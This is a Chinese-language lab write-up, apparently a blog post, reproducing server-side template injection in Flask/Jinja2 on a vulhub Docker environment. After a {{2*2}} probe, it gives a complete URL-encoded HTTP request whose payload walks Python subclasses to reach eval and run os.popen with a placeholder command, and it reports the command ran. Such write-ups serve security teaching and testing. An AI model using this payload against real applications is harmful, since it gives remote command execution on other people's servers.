1. 程式人生 > 其它 >Flask(Jinja2) 服務端模板注入漏洞

Flask(Jinja2) 服務端模板注入漏洞

Flask(Jinja2) 服務端模板注入漏洞

Flask(Jinja2) 服務端模板注入漏洞

Flask 是一個 web 框架。也就是說 Flask 為你提供工具,庫和技術來允許你構建一個 web 應用程式。這個 wdb 應用程式可以使一些 web 頁面、部落格、wiki、基於 web 的日曆應用或商業網站。


漏洞環境

我們先下載環境,在github有別人直接搭建好的docker環境我們直接拿來用即可

git clone git://github.com/vulhub/vulhub.git
cd vulhub/flask/ssti/
docker-compose up -d

訪問IP:8080/即可看到一個flask的歡迎頁面。


影響版本

Werkzeug 一個 WSGI 工具包

jinja2 模板引擎


漏洞復現

訪問http://192.168.200.23:8000/?name={{2*2}}如果後面的2*2被解析就證明漏洞存在

執行命令執行poc

GET /?name={%25%20for%20c%20in%20[].__class__.__base__.__subclasses__()%20%25}%0A{%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25}%0A%20%20{%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25}%0A%20%20{%25%20if%20b.__class__%20%3D%3D%20{}.__class__%20%25}%0A%20%20%20%20{%25%20if%20%27eval%27%20in%20b.keys()%20%25}%0A%20%20%20%20%20%20{{%20b[%27eval%27](%27__import__(%22os%22).popen(%22執行的命令%22).read()%27)%20}}%0A%20%20%20%20{%25%20endif%20%25}%0A%20%20{%25%20endif%20%25}%0A%20%20{%25%20endfor%20%25}%0A{%25%20endif%20%25}%0A{%25%20endfor%20%25} HTTP/1.1
Host: 192.168.200.23:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

命令執行成功